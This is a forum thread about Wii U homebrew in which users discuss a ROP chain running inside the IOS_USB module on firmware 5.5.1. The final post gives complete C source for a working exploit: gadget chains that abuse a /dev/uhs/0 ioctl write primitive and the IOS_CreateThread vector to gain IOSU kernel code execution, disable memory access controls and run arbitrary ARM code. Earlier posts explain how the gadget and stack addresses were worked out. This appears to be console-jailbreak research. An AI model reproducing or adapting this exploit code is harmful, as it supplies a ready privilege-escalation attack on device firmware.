Hacking ROP from within IOS_USB (5.5.1)

rw-r-r_0644

Well-Known Member
Member
Joined
Jan 13, 2016
Messages
351
Trophies
0
Age
22
XP
741
Country
Italy
your joking right ? am so confused right now @smealum what are your thoghts on this ?
I *think* (never did ROP) you have to find the adress of the function/syscall in memory inside the IOS-USB module (other modules can't be accessed because they require higher privileges) and call it by overwriting the function return adress. Though not all the function/syscall are in memory and/or accessible.
 
  • Like
Reactions: ipatch
D

Deleted User

Guest

Sammi Husky

Well-Known Member
Member
Joined
Jul 6, 2014
Messages
312
Trophies
0
Age
29
XP
498
Country
United States
To the people asking where to go from here: just a heads-up, it's all documented on the wiki. Somebody can use this ROP to exploit the IOSU_CreateThread nop sled vuln with a small enough ROP that the pointer is still valid for checks. thats basically it. Good luck though i heard its a PITA
 

kingraa777

boom!
Member
Joined
Apr 17, 2015
Messages
1,241
Trophies
0
Age
40
XP
905
Country
To the people asking where to go from here: just a heads-up, it's all documented on the wiki. Somebody can use this ROP to exploit the IOSU_CreateThread nop sled vuln with a small enough ROP that the pointer is still valid for checks. thats basically it. Good luck though i heard its a PITA

whos going to be that special someone then ?
 
  • Like
Reactions: ipatch

I pwned U!

I am pleased to beat you!
Member
Joined
Jun 14, 2013
Messages
927
Trophies
3
Age
28
Website
gbatemp.net
XP
680
Country
United States
@Hillary_Clinton

I just tried this, but it deleted all of the messages in my Notifications applet! I could not even use my Wii U to log into GBATemp and post this complaint because it gave me an error saying "People who disapprove of Hillary Clinton have Russian ties and cannot be trusted with posting things on the internet."

All joking aside (Sorry, I could not resist! :D), thank you for posting this interesting IOSU code. It is your first useful post in a while, @Lacius.
 

piratesephiroth

I wish I could read
Member
Joined
Sep 5, 2013
Messages
3,453
Trophies
2
Age
103
XP
3,233
Country
Brazil
@Hillary_Clinton

I just tried this, but it deleted all of the messages in my Notifications applet! I could not even use my Wii U to log into GBATemp and post this complaint because it gave me an error saying "People who disapprove of Hillary Clinton have Russian ties and cannot be trusted with posting things on the internet."

All joking aside (Sorry, I could not resist! :D), thank you for posting this interesting IOSU code. It is your first useful post in a while, @Lacius.
You'd better not report aything like that again or your Wii U might mysteriously commit suicide.
 
  • Like
Reactions: I pwned U!

recgame77

Well-Known Member
Member
Joined
Dec 25, 2015
Messages
182
Trophies
0
Age
45
XP
280
Country
Cameroon
Hi
I have a few questions

Are the adresses specific to 5.5.1 or the same to all the Firmware version ?
Is there any trick to dump / analyse / debug some part of the IOSU mem or it is all blind ?
What would be the structure of a IOSU kernel shellcode ? For instance if one want to dump a IOSU only key from OTP and display it , who is in charge of displaying it on screen the IOSU-ARM or PPC ?


Best Regards
 
  • Like
Reactions: proflayton123

Hillary_Clinton

Member
OP
Newcomer
Joined
Apr 23, 2016
Messages
23
Trophies
0
Age
76
XP
186
Country
United States
Are the adresses specific to 5.5.1 or the same to all the Firmware version ?
Hi, the addresses are probably specific to 5.5.1. I only have a 5.5.1 console so that's why.

Is there any trick to dump / analyse / debug some part of the IOSU mem or it is all blind ?
Yes! You can download OSv10 from NUS using a program such as Uwizard. This contains a file called fw.img, which you need to decrypt with the Starbuck ancast key using OpenSSL. Then you can load the resulting .elf into IDA. There are posts elsewhere on GBAtemp which go into this in more detail.

What would be the structure of a IOSU kernel shellcode ? For instance if one want to dump a IOSU only key from OTP and display it , who is in charge of displaying it on screen the IOSU-ARM or PPC ?
It's probably a lot easier to display stuff onscreen using the PPC. MEM1 is mapped at 0xF4000000 for the PPC and at 0x00000000 for the ARM, so you can transfer the data from the ARM to the PPC (or vice versa) that way. However, the code here isn't at that stage yet; the ROP chain runs unprivileged inside IOS-USB. This code is for developers who would like to try getting privileged execution on the ARM, possibly using the IOS_CreateThread exploit on wiiubrew.

There has been some more progress. I'm attaching a .zip archive which contains a new version of the ROP chain loader. Merge it into dimok's hello world project in order to build it. This new version is much easier to use than the first one. You simply copy in your ROP chain (up to about 0xF000 bytes), make, and run.
 

Attachments

  • ios-usb_rop.zip
    6.5 KB · Views: 795
Last edited by Hillary_Clinton,

proflayton123

The Temp Loaf'
Member
Joined
Jan 11, 2016
Messages
6,032
Trophies
1
Age
24
Location
日本
Website
www.facebook.com
XP
3,212
Country
Japan
Hi, the addresses are probably specific to 5.5.1. I only have a 5.5.1 console so that's why.


Yes! You can download OSv10 from NUS using a program such as Uwizard. This contains a file called fw.img, which you need to decrypt with the Starbuck ancast key using OpenSSL. Then you can load the resulting .elf into IDA. There are posts elsewhere on GBAtemp which go into this in more detail.


It's probably a lot easier to display stuff onscreen using the PPC. MEM1 is mapped at 0xF4000000 for the PPC and at 0x00000000 for the ARM, so you can transfer the data from the ARM to the PPC (or vice versa) that way. However, the code here isn't at that stage yet; the ROP chain runs unprivileged inside IOS-USB. This code is for developers who would like to try getting privileged execution on the ARM, possibly using the IOS_CreateThread exploit on wiiubrew.

There has been some more progress. I'm attaching a .zip archive which contains a new version of the ROP chain loader. Merge it into dimok's hello world project in order to build it. This new version is much easier to use than the first one. You simply copy in your ROP chain (up to about 0xF000 bytes), make, and run.

I will now vote for Hillary for her contribution to IOSU-senpai


Sent from my iPhone using Tapatalk
 

Reecey

Mario 64 (favorite game of all time)
Member
Joined
Mar 7, 2010
Messages
5,864
Trophies
2
Location
At Home :)
XP
4,454
Country
Thanks @Voxel & @Hillary_Clinton & @mariogamer for links etc..

This is quite amazing stuff so without sounding really dumb on this subject I presume when the wiiu reboots itself, its in IOSU access mode or something liker that, I see a little glitch I think when it boots to the main menu or it might just be my bad eye sight, I'm not sure tbh. So does this mean then apps can be fully developed and used now for IOSU access? i.e. gx2 etc..
 
Last edited by Reecey,

lembi2001

Well-Known Member
Member
Joined
Dec 29, 2015
Messages
433
Trophies
0
Age
39
XP
1,211
Country
Thanks @Voxel & @Hillary_Clinton & @mariogamer for links etc..

This is quite amazing stuff so without sounding really dumb on this subject I presume when the wiiu reboots itself, its in IOSU access mode or something liker that, I see a little glitch I think when it boots to the main menu or it might just be my bad eye sight, I'm not sure tbh. So does this mean then apps can be fully developed and used now for IOSU access? i.e. gx2 etc..

My understanding of this is that this is an entry point method(?) that needs further development. At the moment this does nothing on it's own so is basically useless until someone develops the method further leading to something slightly more tangible.

I may be WAAAAAAAAAY off the mark there though
 

recgame77

Well-Known Member
Member
Joined
Dec 25, 2015
Messages
182
Trophies
0
Age
45
XP
280
Country
Cameroon
Yes! You can download OSv10 from NUS using a program such as Uwizard. This contains a file called fw.img, which you need to decrypt with the Starbuck ancast key using OpenSSL. Then you can load the resulting .elf into IDA. There are posts elsewhere on GBAtemp which go into this in more detail.


Do you trim the ancast header before loading within ida ? If so i guess that the offst from the wiki should be incremented by header size (differrent between kernel and fw here )

I tought that you where able to dump part of the stack somehow, how do you know then that the ret address is overwritten ? trial and error ?
 
Last edited by recgame77,

Hillary_Clinton

Member
OP
Newcomer
Joined
Apr 23, 2016
Messages
23
Trophies
0
Age
76
XP
186
Country
United States
Do you trim the ancast header before loading within ida ? If so i guess that the offst from the wiki should be incremented by header size (differrent between kernel and fw here )
Yes, if I remember correctly you do trim the ancast header before loading with IDA. If it decrypted correctly, the first four bytes after you trim should be 7F 45 4C 46: the magic number for ELF.

I tought that you where able to dump part of the stack somehow, how do you know then that the ret address is overwritten ? trial and error ?
No, this was all done by looking at the code and trial and error. I knew from the wiki that the stack was inside the internal USB structure, and from looking at the code, I learned that the internal USB structure was the first thing allocated to IOS-USB's local process heap, which is located at 0x10146060. I thought because the heap has a 0x10-byte header, that the structure would be located at 0x10146070. But that didn't work so I used trial and error to figure out where it was. It was at 0x10146080. (Now I realize that's because the allocation was made with an alignment of 0x20 bytes.)

I also knew the stack's offset within the structure (0x14DD0 to 0x24DD0) from looking at the code (specifically subroutine 0x10110754, which is where the thread is created). Then I walked through the thread's code (the thread's entry is at 0x10111164), paying attention to where the stack pointer would be by the time the function I was interested in returned. I was able to use this information to calculate where the return address would be on the stack. If that hadn't worked, I would have just used trial and error.

recgame77: Please PM me. I can't figure out how do it myself.

I presume when the wiiu reboots itself, its in IOSU access mode or something liker that

Unfortunately no:

My understanding of this is that this is an entry point method(?) that needs further development. At the moment this does nothing on it's own so is basically useless until someone develops the method further leading to something slightly more tangible.

That's correct; this doesn't do anything by itself. I'm putting this out here for developers who are waiting for privileged IOSU execution who would like to try to get it themselves.
 
Last edited by Hillary_Clinton,

Hillary_Clinton

Member
OP
Newcomer
Joined
Apr 23, 2016
Messages
23
Trophies
0
Age
76
XP
186
Country
United States
Here's IOSU kernel code execution (using the IOS_CreateThread vector which is described on wiiubrew):

Code:
//Main.c
#include <string.h>
#include <stdarg.h>
#include <stdlib.h>
#include <malloc.h>
#include <unistd.h>
#include "dynamic_libs/os_functions.h"
#include "dynamic_libs/fs_functions.h"
#include "dynamic_libs/gx2_functions.h"
#include "dynamic_libs/sys_functions.h"
#include "dynamic_libs/vpad_functions.h"
#include "dynamic_libs/padscore_functions.h"
#include "dynamic_libs/socket_functions.h"
#include "dynamic_libs/ax_functions.h"
#include "fs/fs_utils.h"
#include "fs/sd_fat_devoptab.h"
#include "system/memory.h"
#include "utils/logger.h"
#include "utils/utils.h"
#include "common/common.h"
#include "main.h"

int dev_uhs_0_handle;

/* YOUR ARM CODE HERE (starts at 0x08122500) */
int execute_me[] = {
    0xE3A00000,       // MOV R0, #0
    0xE12FFF1E,       // BX LR
};

#define CHAIN_START         0x1016AD40
#define SHUTDOWN         0x1012EE4C
#define SIMPLE_RETURN      0x101014E4
#define SOURCE            (0x120000)
#define IOS_CREATETHREAD   0x1012EABC

/* ROP CHAIN STARTS HERE (0x1015BD78) */
int final_chain[] = {
    0x101236f3,        // 0x00     POP {R1-R7,PC}
    0x0,               // 0x04     arg
    0x0812974C,        // 0x08     stackptr     CMP R3, #1; STREQ R1, [R12]; BX LR
    0x68,              // 0x0C     stacksize
    0x10101638,        // 0x10
    0x0,               // 0x14
    0x0,               // 0x18
    0x0,               // 0x1C
    0x1010388C,        // 0x20     CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
    0x0,               // 0x24
    0x0,               // 0x28
    0x1012CFEC,        // 0x2C     MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x30
    0x0,               // 0x34
    IOS_CREATETHREAD,  // 0x38
    0x1,               // 0x3C
    0x2,               // 0x40
    0x10123a9f,        // 0x44     POP {R0,R1,R4,PC}
    0x0812A314,        // 0x48     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xEE030F10,        // 0x4C     value: MCR    P15, #0, R0, C3, C0, #0 (set dacr to R0)
    0x0,               // 0x50
    0x10123a8b,        // 0x54     POP {R3,R4,PC}
    0x1,               // 0x58     R3 must be 1 for the arbitrary write
    0x0,               // 0x5C
    0x1010CD18,        // 0x60     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x64
    0x0,               // 0x68
    0x1012EE64,        // 0x6C     set_panic_behavior (arbitrary write)
    0x0,               // 0x70
    0x0,               // 0x74
    0x10123a9f,        // 0x78     POP {R0,R1,R4,PC}
    0x0812A314 + 0x4,  // 0x7C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE1A0D001,        // 0x80     value: MOV SP, R1
    0x0,               // 0x84
    0x10123a8b,        // 0x88     POP {R3,R4,PC}
    0x1,               // 0x8C     R3 must be 1 for the arbitrary write
    0x0,               // 0x90
    0x1010CD18,        // 0x94     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x98
    0x0,               // 0x9C
    0x1012EE64,        // 0xA0     set_panic_behavior (arbitrary write)
    0x0,               // 0xA4
    0x0,               // 0xA8
    0x10123a9f,        // 0xAC     POP {R0,R1,R4,PC}
    0x0812A314 + 0x8,  // 0xB0     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE8BD800F,        // 0xB4     value: LDMFD SP!, {R0-R3,PC}
    0x0,               // 0xB8
    0x10123a8b,        // 0xBC     POP {R3,R4,PC}
    0x1,               // 0xC0     R3 must be 1 for the arbitrary write
    0x0,               // 0xC4
    0x1010CD18,        // 0xC8     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0xCC
    0x0,               // 0xD0
    0x1012EE64,        // 0xD4     set_panic_behavior (arbitrary write)
    0x0,               // 0xD8
    0x0,               // 0xDC
    0x10123a9f,        // 0xE0     POP {R0,R1,R4,PC}
    0xFFFFFFFF,        // 0xE4     enable read/write everywhere
    0x1015BD78 + 0xF4, // 0xE8     location of privileged stack
    0x0,               // 0xEC
    0x1012EB8C,        // 0xF0     IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC})
    0x08122500,        // 0xF4     destination
    0x00140000,        // 0xF8     source
    sizeof(execute_me),// 0xFC     length
    0x0,               // 0x100
    0x08131AE4,        // 0x104    BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC}
    0x0,               // 0x108
    0x0,               // 0x10C
    0xFFFFDC48,        // 0x110    Will be the LR: shutdown syscall
    0x0,               // 0x114
    0x0,               // 0x118
    0x0,               // 0x11C
    0x0,               // 0x120
    0x0812A124,        // 0x124    MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC}
    0x0,               // 0x128  
    0x08122500,        // 0x12C    Jump to code!
};

int second_chain[] = {
    0x10123a9f, // 0x00         POP {R0,R1,R4,PC}
    CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000,     // 0x04         destination
    0x0,        // 0x08      
    0x0,        // 0x0C      
    0x101063db, // 0x10         POP {R1,R2,R5,PC}
    0x00130000, // 0x14         source
    sizeof(final_chain),          // 0x18         length
    0x0,        // 0x1C      
    0x10106D4C, // 0x20         BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
    0x0,        // 0x24      
    0x0,        // 0x28      
    0x101236f3, // 0x2C         POP {R1-R7,PC}
    0x0,        // 0x30         arg
    0x101001DC, // 0x34         stackptr
    0x68,       // 0x38         stacksize
    0x10101634, // 0x3C         proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
    0x0,        // 0x40
    0x0,        // 0x44
    0x0,        // 0x48
    0x1010388C, // 0x4C         CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
    0x0,        // 0x50
    0x0,        // 0x54
    0x1012CFEC, // 0x58         MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,        // 0x5C
    0x0,        // 0x60
    IOS_CREATETHREAD, // 0x64
    0x1,        // 0x68         priority
    0x2,        // 0x6C         flags
    0x0,        // 0x70
    0x0,        // 0x74
    0x101063db, // 0x78         POP {R1,R2,R5,PC}
    0x0,        // 0x7C      
    -(0x240 + 0xF000), // 0x80  stack offset
    0x0,        // 0x84      
    0x1011D424, // 0x88         LDMFD SP!, {R4-R11,PC}
    0x0,        // 0x8C      
    0x0,        // 0x90      
    0x0,        // 0x94      
    0x0,        // 0x98      
    0x0,        // 0x9C      
    0x0,        // 0xA0      
    0x0,        // 0xA4      
    0x4,        // 0xA8         R11 must equal 4 in order to pivot the stack
    0x1012EA68, // 0xAC         stack pivot
};

int Menu_Main(void) {
    //!---------INIT---------
    InitOSFunctionPointers();                  //! Init coreinit functions adresses
    dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);   //! Open /dev/uhs/0 IOS node
    uhs_exploit_init();                        //! Init variables for the exploit

                                              //!------ROP CHAIN-------
    uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
    uhs_write32(CHAIN_START + 0x10, 0x1011814C);
    uhs_write32(CHAIN_START + 0xC, SOURCE);

    uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC}

                                         //!--------DEINIT--------
    IOS_Close(dev_uhs_0_handle);               //! Close /dev/uhs/0 IOS node
    return EXIT_SUCCESS;                     //! Exit from HBL
}

//!------Variables used in exploit------
int *pretend_root_hub = (int*)0xF5003ABC;
int *ayylmao = (int*)0xF4500000;
//!-------------------------------------

void uhs_exploit_init() {
    ayylmao[5] = 1;
    ayylmao[8] = 0x500000;

    memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
    memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
    memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me));

    pretend_root_hub[33] = 0x500000;
    pretend_root_hub[78] = 0;

    DCFlushRange(pretend_root_hub + 33, 200);      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange(pretend_root_hub + 33, 200);   //! |for "pretend_root_hub"

    DCFlushRange((void*)0xF4120000, sizeof(second_chain));      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange((void*)0xF4120000, sizeof(second_chain));   //! |for second chain inside MEM1
    DCFlushRange((void*)0xF4130000, sizeof(final_chain));      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange((void*)0xF4130000, sizeof(final_chain));   //! |for final chain inside MEM1
    DCFlushRange((void*)0xF4140000, sizeof(execute_me));      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange((void*)0xF4140000, sizeof(execute_me));   //! |for final chain inside MEM1
}

int uhs_write32(int arm_addr, int val) {
    ayylmao[520] = arm_addr - 24;                  //!  The address to be overwritten, minus 24 bytes
    DCFlushRange(ayylmao, 521 * 4);                //! |Make CPU fetch new data (with updated adress)
    DCInvalidateRange(ayylmao, 521 * 4);           //! |for "ayylmao"
    OSSleepTicks(0x200000);                        //!  Improves stability
    int request_buffer[] = { -(0xBEA2C), val };      //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
    int output_buffer[32];
    return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}

Put your code into execute_me and it'll execute. You have about 0x5D0 bytes of space. The above code will simply shut your console down as a demonstration.
 
Last edited by Hillary_Clinton,

Site & Scene News

Popular threads in this forum

General chit-chat
Help Users
    Xdqwerty @ Xdqwerty: @Mondooooo, there was a power outage while you were sleeping?